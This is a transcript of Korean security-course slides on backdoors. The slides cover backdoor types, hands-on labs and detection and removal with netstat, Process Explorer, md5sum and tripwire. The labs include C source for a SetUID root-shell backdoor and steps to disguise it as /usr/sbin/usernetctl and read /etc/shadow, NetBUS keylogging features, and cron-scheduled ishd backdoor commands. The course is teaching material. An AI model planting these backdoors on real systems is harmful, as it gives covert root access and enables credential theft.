9 백도어.

Slides:



Advertisements
Similar presentations
을지대학교 무선 네트워크 사용 방법 2010 년 06 월 01 일. 을지대학교 무선 네트워크 사용 방법 1. PC 무선랜 카드 활성화 및 체크 1 단계 : 시작 -> 설정 -> 네트워크 설정 2 단계 : 무선 네트워크 설정 선택 -> 마우스 버튼 오른쪽 클릭 -> 사용.
Advertisements

7 장. 원격지에서 리눅스서버를 관리하자. 텔넷서버를 설치 / 운영한다. SSH 서버를 운영한다. VNC 서버를 설치 / 운영한다.
HTTPS Packet Capture Tutorial
Format String Attack! 포맷 스트링 공격 경일대학교 사이버보안학과 학년 남주호.

목차 Contents 무선인터넷용 비밀번호 설정방법 Windows 7 Windows 8 Windows XP MAC OS.
정보 보안 개론과 실습 네트워크 해킹과 보안 3부 해킹 전 정보 획득 Chapter 10. 목록화.
컴퓨터프로그래밍 1주차실습자료 Visual Studio 2005 사용법 익히기.
MCMS3000 네트워크 설정방법 [반도 HFCNMS 시스템 Set-up] 반도전자통신
Image & Video processing
Chapter 6. 리눅스 백도어 황 선 환.
1. Windows Server 2003의 역사 개인용 Windows의 발전 과정
MYSQL 설치.
1장. 이것이 C 언어다.. 1장. 이것이 C 언어다. 프로그래밍 언어 1-1 C 언어의 개론적 이야기 한글, 엑셀, 게임 등의 프로그램을 만들 때 사용하는 언어 ‘컴퓨터 프로그래머’라는 사람들이 제작 C 언어(C++ 포함)를 가장 많이 사용함.
(개정판) 뇌를 자극하는 Red Hat Fedora 리눅스 서버 & 네트워크
Linux/UNIX Programming
(개정판) 뇌를 자극하는 Red Hat Fedora 리눅스 서버 & 네트워크
Vsftpd 를 이용한 FTP service 와 samba 서버 구축
임베디드 시스템 개론 크로스 플랫폼 설치 2일차 강의 자료 Embedded System Lab.
시스템 보안 백 도 어 학번: 이름: 김 준 일.
CHAPTER 02 OpenCV 개요 PART 01 영상 처리 개요 및 OpenCV 소개.
8장. 원격지 시스템 관리하기.
Root Filesystem Porting
1. C++ 시작하기.
ServerGuide CD를 이용한 xSeries 설치가이드
Root Filesystem Porting
                              데이터베이스 프로그래밍 (소프트웨어 개발 트랙)                               퍼스널 오라클 9i 인스톨.
01. DHCP의 개념 조직의 네트워크에 연결되어 있는 워크스테이션의 TCP/IP 설정을 자동화하기 위한 표준 프로토콜
메시지 큐[5] – test1.c 메시지 제어: msgctl(2) #include <sys/msg.h>
학습목표 학습목차 다른 홈페이지의 HTML 파일 코드를 보는 방법에 대해 알아봅니다.
01. 터미널 서비스의 개요 터미널 서비스는 네트워크의 워크스테이션을 서버 컴퓨터의 터미널로 사용할 수 있도록 해 주는 서비스
3장. CentOS 리눅스 설치.
1. SSLVPN 접속 방법 Internet Explorer 실행(타 브라우저 사용 불가)
시스템 인터페이스 Lab3 Unix 사용법 실습.
TSRM 사용시 PC 기본환경설정 1. 로그인이 안되는 문제해결 1) Windows8 이상일때
㈜시스원이 제공하는 시스템 관리 통합 솔루션 SysmanagerOne Agent설치 안내서
설치 환경 □ 운영체제 버전 : CentOS Linux 7.2 □ 리눅스 커널 버전 :
홀인원2.0 설치 메뉴얼.
1. SSLVPN 접속 방법 Internet Explorer 실행(타 브라우저 사용 불가)
HTTP 프로토콜의 요청과 응답 동작을 이해한다. 서블릿 및 JSP 를 알아보고 역할을 이해한다.
Adobe 제품 다운로드 및 설치 방법 안내 Adobe Creative Cloud Adobe License 권한을 받으신 분
Linux/UNIX Programming
뇌를 자극하는 Windows Server 장. 원격 접속 서버.
Chapter6 : JVM과 메모리 6.1 JVM의 구조와 메모리 모델 6.2 프로그램 실행과 메모리 6.3 객체생성과 메모리
Nessus 4 설치 정보보호응용 조용준.
PC에 설치된 엔드포인트 클라이언트 프로그램을 클릭하여 프로그램 상자를 엽니다
(개정판) 뇌를 자극하는 Red Hat Fedora 리눅스 서버 & 네트워크
Root passwd 분실, bootblk 복구
법령안편집기 연결버튼 표시가 안 될 경우 정부입법지원센터( 입안 및 심사안을 진행시
PMIS 서버 설정 환경설정 작성자 : 배경환.
네트워크 환경 구축과 이미지 전송 호스트/타겟 통신 직렬 통신을 이용한 이미지 전송 수퍼 데몬 BOOTP 환경 구축
( Windows Service Application Debugging )
01. DHCP의 개념 조직의 네트워크에 연결되어 있는 워크스테이션의 TCP/IP 설정을 자동화하기 위한 표준 프로토콜
01. 개요 네트워크에 있는 컴퓨터와 그룹에 대한 NetBIOS 이름에 대응되는 IP 주소를 찾아주는 서비스
STS 에서 웹 서버 설치 방법.
OpenCV 설정 2.21 만든이 딩딩.
수동 설치시는 설치 방법 1. 두번에 설치 CD 속에 fscommand 폴더 밑에 Osstem 이라는 폴더를
01. 분산 파일 시스템의 개요 네트워크에 분산된 파일을 사용자가 쉽게 접근하고 관리할 수 있게 해준다.
시스템 인터페이스 Lab1 X-window 및 명령어 사용.
9 브라우저 객체 모델.
슬라이드 쇼의 설정 슬라이드 쇼의 실행 파일과 폴더의 관리 글꼴을 포함해서 저장 웹 페이지로 게시 압축 파일
과제 4: Thread (5월 9일까지) 4장 연습문제 풀이
IPC 펌웨어 업그레이드 방법 안내 ** 반드시 IPC를 NVR POE 포트 연결 전에 작업 하시기 바랍니다. IPC를 NVR POE 포트에 연결 하실 경우 IP 대역폭을 마추셔야 하는 작업이 필요합니다. **
Installation Guide.
숙제 작성 및 제출 과정 김진하 2008/03/14.
Reversing 발표자 : 박현우.
CODE INJECTION 시스템B 김한슬.
1. SNMP Setting IP 설정 NetAgent Mini 카드에 제공된 CD의 Netility 프로그램을 설치하여 프로그램을 실행시킨다. Netility 프로그램을 실행하면 네트워크에 있는 SNMP 카드를 찾게 됩니다. “Configure”를 선택하면 IP 설정.
6 객체.
시스템 해킹과 보안 permission과 SetUID.
Presentation transcript:

9 백도어

학습목표 내용 백도어의 종류를 이해한다. 운영체제에 따른 백도어의 종류를 파악하고, 이를 이용할 수 있다. 백도어를 탐지하고 제거할 수 있다. 백도어에 대한 보안 대책을 수립하고, 이를 수행할 수 있다. 내용 백도어에 대한 이해 윈도우 백도어 리눅스/유닉스 백도어 백도어 탐지와 대응책

백도어에 대한 이해 백도어와 트로이 목마 트로이 목마 : 사용자가 의도치 않은 코드를 정상적인 프로그램에 삽입한 프로그램 스파이웨어(Spyware) : 설치된 시스템의 정보를 주기적으로 원격지의 특정한 서버에 보내는 프로그램 백도어 : 원래 의미는 운영체제나 프로그램을 생성할 때 정상적인 인증 과정을 거치지 않고, 운영체제나 프로그램 등에 접근할 수 있도록 만든 일종의 통로, Administrative hook이나 트랩 도어(Trap Door)라고도 부름

백도어에 대한 이해 백도어의 종류 로컬 백도어 : 서버의 셸을 얻어내 관리자로 권한 상승(Privilege Escalation)할 때 사용 원격 백도어 : 계정에 패스워드 입력하고 로그인한 것처럼 원격으로 관리자 권한 획득해 시스템에 접근, 네트워크에 자신의 포트를 개방 패스워드 크래킹 백도어 : 인증에 필요한 패스워드를 원격지 공격자에게 보내주는 역할 시스템 설정 변경 백도어 : 시스템 설정을 해커가 원하는 대로 변경하기 위한 툴 트로이 목마 형태의 프로그램 : 처음부터 백도어를 목적으로 만들어진 것은 아니지만 백도어로 동작하는 경우, 윈도우에서는 웹 브라우저나 명령 창, 간단한 게임 등도 백도어와 섞을 수 있다. 이런 백도어를 실행하면 원하는 프로그램이 실행되면서 동시에 백도어도 설치. 해커가 배포되는 프로그램에 배포 사이트 크랙, 정상적인 프로그램을 백도어를 설치한 프로그램으로 바꿔치기 거짓 업그레이드 : 시스템을 패치하거나 업그레이드할 때 잘못된 프로그램 설치

실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기 백도어 생성 백도어의 인수(argv[1])를 system 명령으로 실행하는 간단한 형태 SetUID 비트에 설정과 실행 권한 부여 1 gcc -o backdoor backdoor.c chmod 4755 backdoor backdoor.c #include <stdio.h> main (int argc, char *argv[]){ char exec[100]; setuid (0); setgid (0); sprintf (exec, "%s 2>/dev/null ", argv[1]); system (exec); }

실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기 백도어 동작 “ ”안의 명령을 실행해주는 단순한 프로그램 [그림 9-2] 백도어를 이용한 ls 명령 수행 2 ./backdoor "ls"

실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기 id 명령 실행 : 일반 계정 사용해도 uid, gid가 0, 즉 관리자 계정으로 출력 passwd 파일은 wishfree와 같이 일반 계정이 읽을 수 있는 권한 없음 SetUID 비트를 가지고 있는 backdoor 파일을 통해 passwd 파일 조회 시 다음과 같이 출력 [그림 9-3] backdoor를 이용한 관리자 소유의 /etc/passwd 파일 내용 읽기 ./backdoor "id" ./backdoor "cat /etc/passwd"

실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기 [그림 9-4] 아무런 인수 없이 실행된 backdoor ./backdoor

실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기 백도어 숨기기 바꿔치기에 적합한 대상 찾기 [그림 9-5] find 명령으로 찾은 권한이 4755인 파일들 일반적으로 거의 사용되지 않는 프로그램을 바꿔치기 할 대상으로 선택 ( /usr/sbin/usernetctl) 실행 백도어 프로그램 실행 시 위와 똑같이 실행되도록 속일 수 있는 백도어 더 만들기 바꾸기 바꾼 백도어 이용(관리자만 읽기 권한이 있는 shadow 파일 읽기 가능) 3 find / -perm 4755

실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기 일반적으로 거의 사용되지 않는 프로그램을 바꿔치기 할 대상으로 선택 ( /usr/sbin/usernetctl) 실행 [그림 9-6] 백도어로 사용할 usernetctl 명령 실행 /usr/sbin/usernetctl

실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기 백도어 프로그램 실행 시 위와 똑같이 실행되도록 속일 수 있는 백도어 더 만들기 [그림 9-7] usernetctl 명령과 같은 결과로 출력되도록 변경한 backdoor2 실행 결과 바꾸기 [그림 9-8] backdoor2 파일을 usernetctl로 바꾸기 printf ("usage: usernetctl <interface-config> <up|down|report>\n"); ./backdoor2 mv ./backdoor2 /usr/sbin/usernetctl

실습 9-1 SetUID형 로컬 백도어 설치하고 이용하기 바꾼 백도어 이용(관리자만 읽기 권한이 있는 shadow 파일 읽기 가능) [그림 9-9] 백도어로 바꾼 usernetctl를 이용한 /etc/shadow 파일 읽기 /usr/sbin/usernetctl "cat /etc/shadow"

실습 9-2 윈도우 백도어 설치하고 이용하기 NetBUS 서버 설치 NetBUS 파일의 구성 Patch.exe 더블클릭해 설치 NetBus.exe : 클라이언트 프로그램 Patch.exe 더블클릭해 설치 Patch.exe : 자신을 C:/Windows 밑에 복사, 레지스트리(HKEY _LOCAL_MACHINE /SOFTWARE/Microsoft/Windows/CurrentVersion/Run)에 자신 등록 시스템 시작될 때 자동으로 실행 NetBUS 서버 제거 시 C:/Windows 밑의 patch 파일 삭제, 레지스트리에 등록 값 삭제 1

실습 9-2 윈도우 백도어 설치하고 이용하기 NetBUS 클라이언트를 이용한 접속 NetBUS 클라이언트를 이용 NetBUS 서버에 접속하려면 NetBUS.exe 실행 [그림 9-10] NetBUS 클라이언트 인터페이스 2 ➋ ➊ ➌ 13 ➍ ➏ ➓ ➎ ➑ 11 ➒ ➐ 12

실습 9-2 윈도우 백도어 설치하고 이용하기 ➊ Host name / IP : NetBUS 서버가 설치된 시스템의 IP와 포트 번호 입력 <Connect> 버튼 누르면 NetBUS 서버와 연결 ➋ Server admin : 공격 대상 시스템에 설치된 서버에 대한 접근 제어 설정 [그림 9-11] NetBUS 서버에 대한 접근 권한 설정 ➌ Open CD-ROM : 공격보다는 공격 대상 시스템을 사용하고 있는 사용자를 놀림 이 버튼을 누르면 상대방의 시스템의CD-ROM이 열렸다가 닫힘

실습 9-2 윈도우 백도어 설치하고 이용하기 ➍ Start program : 원격지의 프로그램 실행할 때 사용 [그림 9-12] 공격 대상 시스템의 탐색기 실행 ➎ Msg manager : 공격자 시스템에 메시지 창을 띄워 임의의 정보를 알림 [그림 9-13] 공격 대상 시스템에 메시지 전송 [그림 9-14] 공격 대상 시스템에 전송된 메시지 C:\Windowns\explorer.exe

실습 9-2 윈도우 백도어 설치하고 이용하기 ➏ Exit Windows : 로컬의 [시작]-[시스템 종료] 기능처럼 시스템 종료 ➐ Active wnds : 공격 대상 시스템에서 현재 실행되고 있는 프로그램의 목록 보여줌 이 중 임의의 프로그램 중지 가능 [그림 9-15] 공격 대상 시스템에 실행 중인 프로그램 ➑ Mouse pos : 마우스 포인터를 원하는 임의의 위치로 이동

실습 9-2 윈도우 백도어 설치하고 이용하기 ➒ Listen : 상대방이 키보드로 입력하는 모든 값을 공격자의 시스템으로 전달 [그림 9-16] 공격 대상 시스템의 메모장에 입력한 글자 [그림 9-17] 공격자 시스템 화면에 출력되는 글자 ➓ Server setup : NetBUS 서버가 설치된 시스템에서 동작하는 Patch.exe로 열어둔 포트 변경, 접속에 패스워드가 필요하도록 설정 [그림 9-18] 공격 대상 시스템에 설치된NetBUS 서버의 설정 창 Control mouse : 상대방의 마우스를 사용하지 못하게 하고 공격자가 마우스를 움직이는 대로 상대방 시스템의 마우스 포인터가 움직이도록 함 11

실습 9-2 윈도우 백도어 설치하고 이용하기 Key manager : 특정 키보드나 모든 키보드가 동작하지 않도록 설정 임의의 키가 눌린 것처럼 키 값을 입력 가능 [그림 9-19] 공격 대상 시스템에 임의의 키를 사용 중지하는 설정 Scan : NetBUS가 설치된 시스템 검색 [그림 9-20] NetBUS 서버가 설치된 시스템 검색 12 13

실습 9-2 윈도우 백도어 설치하고 이용하기 백도어 은닉 Joiner와 Blinder로, 하나 이상의 실행 파일(exe)을 하나로 만드는 기능 [그림 9-21] Joiner를 이용한 두 실행 파일의 혼합 3

리눅스/유닉스 백도어 http 데몬이 root 계정으로 운영되는 서버에 웹으로 접속 시 root 권한으로 nobody 계정으로 웹에 접속 시 nobody 권한으로 시스템에 자료 요청 백도어를 이용하는 외부 침투자도 시스템에서 백도어를 실행한 사용자 권한으로 시스템에 침투 커널 백도어 : 운영체제의 핵심 부분인 커널에 심어 넣는 백도어, 민감하고 난이도 높음 큰 차이는 없으며 커널에서 동작하기 때문에 일반 백도어보다 더 강력 제거하기 어렵고 설치 작업이 까다로움 리눅스에서 백도어 동작 통제 : cron 같은 스케줄러 이용

실습 9-3 자동 실행형 백도어 설치하고 이용하기 cron 데몬 : 일정 시간이 되면 자체적으로 프로그램 실행, 중지하는 스케줄러 cron 데몬 이해하기 [그림 9-23] /etc/crontab 파일의 내용 1 vi /etc/crontab

실습 9-3 자동 실행형 백도어 설치하고 이용하기 앞의 숫자, * 3개 : 해당 프로그램이 실행될 시간으로, 각각 분, 시, 날짜, 달, 요일 모두 *이므로 날짜, 달, 요일에 관계없이 매일 04시 02분에 실행. ‘30 16,17 5-7 */2 * reboot’는 2개월마다(*/2) 5일부터 7일까지(5-7) 16시와 17시(16,17) 30분에 재부팅 하라는 의미 [표 9-1] crontab 파일의 시간 관련 설정 값 02 4 * * * root run-parts /etc/cron.daily 필드 사용할 수 있는 값 분 0∼59 시 0∼23 날짜 1∼31 달 1∼12 : 달 이름 사용 가능 요일 0 ∼ 7 : 요일 이름 사용 가능 (0과 7은 일요일을 가르킴)

실습 9-3 자동 실행형 백도어 설치하고 이용하기 ishd 백도어 컴파일 ishd 백도어 툴을 다음과 같이 간단히 설치 클라이언트는 다음과 같이 실행 cron 데몬을 이용한 백도어의 구동과 중지 ishd 데몬이 매일 새벽 4∼5시에 구동되므로 공격자는 이 시간에만 접속 시도 2 tar xvf ish-v0.2.tar.gz make linux ./ishd ./ish [서버의 IP 주소] 3 0 4 * * * ./ishd -i 65000 0 5 * * * pkill -U root ishd

백도어 탐지와 대응책 현재 동작중인 프로세스 확인 현재 프로세스를 확인하여 백도어가 아닌 정상 프로세스를 아는 것도 매우 중요 윈도우에서 Ctrl+Alt+Delete로 Windows 작업 관리자에서 실행 중인 프로세스 확인 Csrss.exe(Client/Server Runtime SubSystem : Win 32) : 윈도우 콘솔 관장 스레드 생성/삭제 32비트 가상 MS-DOS 모드 지원 Explorer.exe : 작업 표시줄, 바탕 화면 같은 사용자 셸 지원 Lsass.exe(Local Security Authentication Server) : Winlogon 서비스에 필요한 인증 Smss.exe(Session Manager SubSystem) : 사용자 세션 시작 기능, Winlogon, Win32(Csrss.exe)을 구동, 시스템 변수 설정, Smss는 Winlogon이나 Csrss가 끝나기를 기다려 정상적인 Winlogon, Csrss 종료시 시스템 종료 Spoolsv.exe(Printer Spooler Service) : 프린터와 팩스의 스풀링 기능 Svchost.exe(Service Host Process) : DLL(Dynamic Link Libraries)에 의해 실행되는 프로세스의 기본 프로세스, 한 시스템에서 svchost 프로세스 여러 개 볼 수 있음 Services.exe(Service Control Manager) : 시스템 서비스 시작/정지, 그들 간의 상호 작용하는 기능 수행 System : 대부분 커널 모드 스레드의 시작점

백도어 탐지와 대응책 무결성 검사 열린 포트 확인 SetUID 파일 검사 바이러스와 백도어 탐지 툴 이용 백도어 상당수가 외부와 통신 위해 서비스 포트 생성 시스템에서는 netstat 명령으로 열린 포트 확인 일반 시스템에서 사용되는 포트는 그리 많지 않으므로 주의해 살펴보면 백도어가 사용하는 포트 쉽게 확인 가능 SetUID 파일 검사 SetUID 파일 : 리눅스나 유닉스 시스템에서 로컬 백도어로서 강력한 기능 함. SetUID 파일 중에 추가, 변경된 것은 없는지 주기적으로 살펴야 함 바이러스와 백도어 탐지 툴 이용 잘 알려진 백도어는 대부분 바이러스 일종으로 분류, 백신 툴이나 탐지 툴에 발견 무결성 검사 시스템에 어떤 변화가 일어나는지 알아보는 것. MD5 해시 기법 많이 사용 파일 내용이 조금만 바뀌어도 MD5 해시 결과 값이 다르므로 관리자는 주요 파일의 MD5 값을 주기적으로 수집, 검사하여 파일의 변경 내역을 확인

9-4 윈도우 백도어 탐지하고 제거하기 ` ` 대부분 백도어는 웜을 통해 PC에 설치 백신 툴 없이 백도어 존재여부를 확인/제거 하는 방법 시스템에서는 netstat 명령으로 열린 포트 확인 백도어에 대응하는 기본적인 작업 : 탐지, 제거 백도어 실행 ‘Win-Trojan.Peamor.416768.zip’파일의 압축 풀어 더블클릭 실행 포트 확인- fport fport 프로그램 이용, 각 포트에 대한 프로그램의 위치와 이름 확인 ` 1 ` 2 fport

9-4 윈도우 백도어 탐지하고 제거하기 6749포트 서비스 데몬에 IEXPLORE.EXE 있음 [그림 9-25] fport 실행 결과 6749포트 서비스 데몬에 IEXPLORE.EXE 있음 IEXPLORE.EXE는 기본적으로 웹 브라우징 위한 클라이언트 프로그램 서비스 데몬을 열고 있는 경우는 비정상

9-4 윈도우 백도어 탐지하고 제거하기 ` 프로세스 확인 - Process Explorer fport에서 확인한 IEXPLORE.EXE의 프로세스를 Process Explorer를 통해 확인 fport에서 확인한 프로세스의 pid는 2716번 pid 972, 1012로 확인되는 IEXPLORER와 유사 Private Bytes와Working Set의 메모리 사용량에 현격한 차이 [그림 9-26] IEXPLORER(pid : 2716) 프로세스 확인 ` 3

9-4 윈도우 백도어 탐지하고 제거하기 비정상 IEXPLORER는 Parent가 <Non-existent Process> 이 프로세스와 관련해 Process Explorer를 살펴보면 아래 창에서‘C:\Windows\system.exe’파일 실행되는 것을 확인 [그림 9-27] 정상 IEXPLORER 프로세스 [그림 9-28] 비정상 IEXPLORER(pid : 2716) 프로세스

9-4 윈도우 백도어 탐지하고 제거하기 Process Explorer에서 Ctrl+F7로 탐색 창을 열어 system.exe 검색 → iexplore.exe와 calc.exe 파일 검색 [그림 9-29] system.exe와 연관된 프로세스 확인 calc.exe : Process Explorer에서 확인하면 iexplore.exe의 하위 프로세스로 실행되는 경우도 있지만 정상 calc.exe 프로세스로 보이지는 않는다. Process Explorer에서 iexplore.exe의 프로세스를 중지하면 잠시 후 iexplore.exe가 자동으로 재실행

9-4 윈도우 백도어 탐지하고 제거하기 [그림 9-30] iexplore.exe와 calc.exe 프로세스 확인과 중지 calc.exe 프로세스 중지 :calc.exe와 iexpore.exe는 서로 모니터링하고 있다가 중지되면 서로 되살려줌. 해당 프로세스를 중지하려면 짧은 시간 안에 둘 모두 중지해야 함.

9-4 윈도우 백도어 탐지하고 제거하기 ` 레지스트리 확인 윈도우 시스템은 시스템의 운영과 관련해 재부팅되도 기본 설정 값이 변하지 않도록 레지스트리에 여러 값 기록 백도어도 주로 레지스트리 이용, 백도어 삭제 시에는 레지스트리도 내용 확인해야 함 레지스트리 편집기에서 [파일]-[내보내기] 메뉴 선택, 레지스트리를 txt 파일로 내보냄 메모장에서 열어 system.exe 파일 찾으면 검색 결과 없음 system.exe의 아스키 값은 73,79,73,74,65,6d,2e,65,78,65 레지스트리에서는 유니코드 형태(1글자당 2바이트)로 저장, 중간에 00을 추가하여, 73,00,79,00,73,00,74,00,65,00, 6d,00,2e,00,65,00,78,00,65,00로 검색, 레지스트리 파일에서 해당 내용 확인 [그림 9-31] 레지스트리에서 system.exe 확인 ` 4

9-4 윈도우 백도어 탐지하고 제거하기 경로[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Run Service] 시스템 부팅할 때마다C:\Windows\system.exe 파일 서비스로 실행되도록 레지스트리에 등록 [그림 9-32] 레지스트리 편집기에서 system.exe 확인

9-4 윈도우 백도어 탐지하고 제거하기 파일 확인 total commander 툴 사용 백도어 실제 파일 확인 윈도우 탐색기는 윈도우 운영체제와 많은 라이브러리 공유, 윈도우 탐색기가 공격 대상이 되면 윈도우 탐색기 사용 불가. 또한 윈도우 탐색기로 특정 파일이 숨겨지거나 삭제되지 않게 되 있는 경우도 있다. 이런 제약적 상황 때문에 윈도우와 상관없이 독립적으로 동작하는 파일 탐색기인 total commander 유용하게 사용 total commander 이용 백도어 확인 전 설정 할 사항 [환경설정]-[옵션]-[화면]에서‘숨김/시스템 파일 표시’옵션 설정 [그림 9-33] ‘숨김/시스템 파일 표시’옵션 설정 5

9-4 윈도우 백도어 탐지하고 제거하기 [명령]-[파일 찾기] 메뉴 이용 system.exe 검색, 우선 파일명으로 검색 system.exe 파일이 C:\와 C:\Windows에 각각 존재 두 파일 모두 백도어로 iexplore.exe와 calc.exe 프로세스가 서로 보완적인 역할을 하듯 한쪽이 삭제되면 다른 쪽을 기반으로 서로 재복사 검색할때 system.exe 파일에 추가 문자열이 포함된 경우도 있으므로 *system.exe, *system*.exe와 같이 검색 C:\Windows\system32\_system.exe 파일 확인 C:\Windows\system32는 백도어 공격에서 대부분 기본 디렉터리기 때문에 별도로 확인 system.exe 파일의 실행과 관련한 다른 설정 파일 확인 위해 문자열 포함 검색 C:\autorun.inf 파일검색 [그림 9-34] system.exe 파일명으로 검색 [그림 9-35] system.exe 문자열로 검색

9-4 윈도우 백도어 탐지하고 제거하기 C:\autorun.inf 파일 열기, system.exe 실행과 관련된 설정 파일임을 확인 검색은 파티션별로 모두 수행 [그림 9-36] C:\autorun.inf 파일 확인

9-4 윈도우 백도어 탐지하고 제거하기 백도어 제거 ➊ 백도어 프로세스의 중지 ➋ 백도어 파일의 삭제 ➌ 레지스트리 삭제 백도어 프로세스 중지 [그림 9-37] 백도어 중지 6

9-4 윈도우 백도어 탐지하고 제거하기 항상‘Kill Process Tree’ 이용 프로세스 중지 검색을 통해 확인된 백도어 관련 파일 삭제 드라이브 루트가 있는 system.exe와 Autorun.inf 파일 삭제 [그림 9-38] C, D 드라이브의 AutoRun.inf, system.exe 파일 삭제

9-4 윈도우 백도어 탐지하고 제거하기 C:\Windows\system.exe와 C:\Windows\system32\_system.exe 파일 삭제 [그림 9-39] 시스템 디렉터리의 system.exe 파일 삭제 마지막으로 레지스트리 삭제

9-4 윈도우 백도어 탐지하고 제거하기 기타 관련 사항 - promiscuous 모드 백도어는 일반적으로 원격의 공격자와 통신을 위해 특정 포트 사용하지만, 특정 포트 사용 않는 경우도 있음, 대신 네트워크 인터페이스를 스니핑할 때와 똑같은 promiscuos모드로 운영 패킷이 포트나 IP와 관계없이 시스템에 도달 자신의 시스템에 대한 promiscuous 모드 탐지는 : promiscdetect 툴 이용 백도어가 설치된 시스템에서 promiscuous 모드로 네트워크 인터페이스가 설정된 경우 promiscuous 모드 여부 확인 7 promiscdetect

9-4 윈도우 백도어 탐지하고 제거하기 [그림 9-40] promiscdetect를 이용한 스니핑 모드 확인

9-4 윈도우 백도어 탐지하고 제거하기 시스템 무결성 검사 중요 시스템이나 디렉터리는 무결성 점검 툴 이용 주기적으로 점검 윈도우에서는 SFC(System File Checker) 기본 제공 [그림 9-41] sfc 명령 실행 결과 8 sfc

9-4 윈도우 백도어 탐지하고 제거하기 실제 스캔은 ‘sfc /SCANNOW’명령 통해 수행 sfc /SCANNOW

9-4 윈도우 백도어 탐지하고 제거하기 sfc는 주로 DLL 파일에 대한 사항만 점검,원하는 파일 임의 지정 못함 MD5SUM 툴 사용 한번에 대량의 파일을 빠른 시간에 테스트 MD5 해시 값을 test.md5 파일에 저장하도록 명령 실행 이 툴은 하위 디렉터리에 대해 디렉터리별로 md5 해시 값을 구할 수 없으므로 각 개별 디렉터리별로 실행 [그림 9-43] md5sum을 이용한 md5 해시 값 생성 md5sum *.* > test.md5 type test.md5

9-4 윈도우 백도어 탐지하고 제거하기 test.md5 파일에 저장한 뒤, 파일 몇 개를 변경한 후 변경에 대한 검사 실시 5개 중 3개의 파일 변경 [그림 9-44] md5sum을 이용해 변경된 파일 확인 md5sum -c test.md5

9-5 리눅스 백도어 탐지하고 제거하기 프로세스 확인 ‘ps-ef ’명령으로 시스템의 셸과 프로세스 소유자에 관계없이 모든 프로세스 확인 [그림 9-45] ‘ps -ef’명령 실행 1 ps -ef

9-5 리눅스 백도어 탐지하고 제거하기 열린 포트 확인 : 윈도우와 같음 netstat -an 2

9-5 리눅스 백도어 탐지하고 제거하기 SetUID 파일 검사 find 명령 이용 시스템에서 SetUID, SetGID가 부여된 파일 검색 [그림 9-47] find 명령으로 SetUID가 부여된 파일 검색 3 find / -perm +4000

9-5 리눅스 백도어 탐지하고 제거하기 백도어 탐지 툴 이용 리눅스에서는 백도어 탐지 툴 발전 미흡 커널형 백도어는 이런 방법으로 탐지하기 어려워 chkrootkit 등과 같은 툴 이용해야 함 윈도우에서는 SFC(System File Checker) 기본 제공 무결성 검사 : 윈도우처럼 md5sum 툴 이용 백도어의 삭제 ‘ps -kill’명령 통해 해당 프로세스 중지, 해당 백도어 파일 삭제로 완료SetUID 파일 검사 find 명령 이용 시스템에서 SetUID, SetGID가 부여된 파일 검색 4 5 6

9-6 tripwire를 이용한 무결성 검사하기 설치하기 tripwire는 페도라 14에서 yum으로 설치 [그림 9-48] tripwire 설치 패키지 확인 1 yum list tripwire

9-6 tripwire를 이용한 무결성 검사하기 yum install tripwire.i686

9-6 tripwire를 이용한 무결성 검사하기 패키지 설치 후에는 초기화 과정 필요 tripwire의 설정 파일은 임의의 사용자에 의해 검사 값이나 정책 등이 변경되지 못하도록 암호화되어 저장 암호화된 파일 등을 복호화하,변경하는 데 필요한 일종의 패스워드 먼저 설정 [그림 9-50] tripwire 패스워드 초기화 프로그램 실행 /usr/sbin/tripwire-setup-keyfiles

9-6 tripwire를 이용한 무결성 검사하기 passphrase로 패스워드 입력 패스워드는 ‘site keyfile passphrase’, ‘local keyfile passphrase’ 입력 [그림 9-51] ‘local keyfile passphrase’의 생성

9-6 tripwire를 이용한 무결성 검사하기 /etc/tripwire 디렉터리에는 tripwire와 관련된 설정 파일, key 파일 및 정책 파일 저장 [그림 9-52] /etc/tripwire에 저장된 key 파일 tw.pol과 tw.cfg : tripwire 관련 설정 파일, 암호화되어 있음, 기본설정 내용은 twcfg.txt와 twpol.txt 파일을 기본 만들어짐 twpol.txt : 해당 시스템에 대한 무결성 검사 목록 저장 파일, 시스템에 최적화 2

9-6 tripwire를 이용한 무결성 검사하기 tw.pol과 tw.cfg : tripwire 관련 설정 파일, 암호화되어 있음, 기본설정 내용은 twcfg.txt와 twpol.txt 파일을 기본 만들어짐 [그림 9-53] /etc/tripwire/twcfg.txt 파일 내용 cat /etc/tripwire/twcfg.txt

9-6 tripwire를 이용한 무결성 검사하기 twpol.txt : 해당 시스템에 대한 무결성 검사 목록 저장 파일, 시스템에 최적화 [그림 9-54] /etc/tripwire/twpol.txt 파일 내용 cat /etc/tripwire/twpol.txt

9-6 tripwire를 이용한 무결성 검사하기 3 /usr/sbin/tripwire -m i

9-6 tripwire를 이용한 무결성 검사하기 tripwire 설치하면 매일 자동으로 cron 데몬에 실행 관리자가 임의로 --check옵션을 주어 실행 할 수도 있음 [그림 9-56] tripwire를 이용한 무결성 검사 4 tripwire --check 59

9-6 tripwire를 이용한 무결성 검사하기 작성된 보고서는 /var/lib/tripwire/report 경로에 저장 [그림 9-57] tripwire로 생성된 보고서 읽기 twprint -m r --twrfile [보고서 파일.twr] 60

9-6 tripwire를 이용한 무결성 검사하기 백도어에 대한 가장 좋은 대응책 최초의 권한 획득 불허 지속적인 보안 점검과 보안 : 한번 설치된 백도어는 재설치 가능, 지속적 문제 발생 61